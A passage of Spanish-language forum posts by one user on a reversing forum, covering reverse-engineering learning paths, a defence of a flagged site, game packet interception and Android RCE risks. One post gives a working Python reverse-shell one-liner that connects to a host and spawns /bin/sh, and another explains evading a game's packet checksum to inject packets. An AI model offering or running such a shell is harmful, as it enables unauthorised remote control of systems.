Mensajes

[PD: POR QUE INTENTAS ENVIARME UN MALWARE??!!!!]

Ya intenté usarlo en una máquina virtual y no funciona ya que necesita usar una GPU dedicada con opencl

PD: POR QUE INTENTAS ENVIARME UN MALWARE??!!!!

Si te fijas el sitio es clasificado como un sitio de malicioso no propiamente el .doc. De todas maneras el sitio es administrado por ricardo narvaja una persona que ha ayudado a muchos a iniciarse en el reversing, es más puedes buscar sobre él, te darás cuenta que todo esto es un mal entendido. Es más para que hablar de Apuromafo, alguien experto durante años en el reversing  

Para Delphi puedes suar DeDe

El tutorial de OllyDbg cubre todo lo necesario como introducción para reversing desde 0, a diferencia el tutorial de IDA tiene un enfoque netamente con el funcionamiento de esta , aun cuando se explican bases de reversing no son tan sólidas como las de OllyDbg, creo que mi sugerencia es la siguiente:
- Intro a OllyDbg por Ric
- Intro a x64Dbg curso raton por Apuromafo
- Intro reversing con IDA por Ric (primeros cap)

Si quieres introducirte en el mundo del exploiting:
- Corelan tutoriales traducidos por Ivinson
- Shellcoders handbook
- Resto de intro reversing con IDA

Puff no hay quien haga ingeniería inversa de este software, estamos un amigo y yo que nos está costando la misma vida......y eso que tengo licencia de un mes de prueba..

Nadie está obligado a hacer ingeniería inversa a algo que para ti tiene valor y lo más probable es que para el resto NO. Tampoco estás pidiendo ayuda, estás pidiendo un trabajo realizado. Que lamentable que si llevas dos días, una semana o un mes te esté costando la vida, pues de ser así, estoy en deuda con mi vida, llevo al menos 8 años en reversing y no me ando quejando cuando algo se me hace difícil, más bien aporto con lo que he podido encontrar y con BASES pido ayuda.

Es fácil pedir limosna sin hacer nada, pero es más difícil pedir algo puntual una vez que te hayas ESFORZADO.

Con esa actitud, lo más lejos que llegarán tu y tu amigo es a un tacho de basura, pues en el mundo que vivimos dos días de "esfuerzo" no es NADA.

Excelente aporte, ideal para aquellos que siempre solicitan en el foro ayuda con los hackeos de juegos, un buen punto de inicio 

Reverse Shell en Python testeado en sistema Linux:

Código (python) [Seleccionar] Expandir

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Tuve un servidor MU Online durante bastante tiempo, por lo que comentas, este no está protegido, pues al parecer puedes visualizar las strings. Déjame decirte que lo único que puedes hacer con esto es modificar tu cliente de forma local, todo cambio que realices es sólo de forma local y en ningún momento afectará el servidor. Lo que debes hacer es interceptar los paquetes e intentar replicarlo por medio de WPE Pro, lo que sí tienes que lidiar es que los paquetes tienen una especie de checksum que si no lo logras descifrar (es un proceso reversible por medio de XOR) te detectarán la inyección de envío de paquetes, saludos

No se puede dejar de lado la posibilidad de ataques tipo RCE en donde por lo general, basta con hacer que el usuario visite algún enlace, o saber su IP para desencadenar la ejecución de código remotamente como un RAT, pero este tipo de ataques son más sofisticados y son realizados por personas que poseen una amplia experiencia en el área de exploiting y especializados específicamente en arquitecturas ARM y puntualmente en Android y Android Internals, son profesionales del oficio pero en sí que uno de ellos te quiera infectar el Android lo podrá conseguir, quizás en semanas, meses pero esto se da más en espionaje en personas consideradas como NO normales, políticos, millonarios, etc. Por lo cual, si tienes un Android y $ promedio, no deberías preocuparte.

Yo le entendí, quiere crear un ejecutable y en base a sus valores hexadecimales del PE, por medio de otro programa, ejecutar el programa.

Eso no es posible, así como así, pues internamente los programas realizan una serie de inicializaciones que copiando y pegando no funcionará.

Debes buscar por shellcode, que es una serie de valores hexadecimales que funcionan de forma autónoma dentro de cualquier ejecutable.

PD: Partiendo por que los .net genera MSIL, lo que pides es difícil.

Más que caído el problema es el registro, el captcha está desactualizado. Por otro lado también hay varios retos que redireccionan al blog, lo cual imposibilita desarrollarlos.

Creo que el-brujo debería reparar este tipo de problemas, pues por lo que tengo entendido, está fuera del alcance del staff

Saludos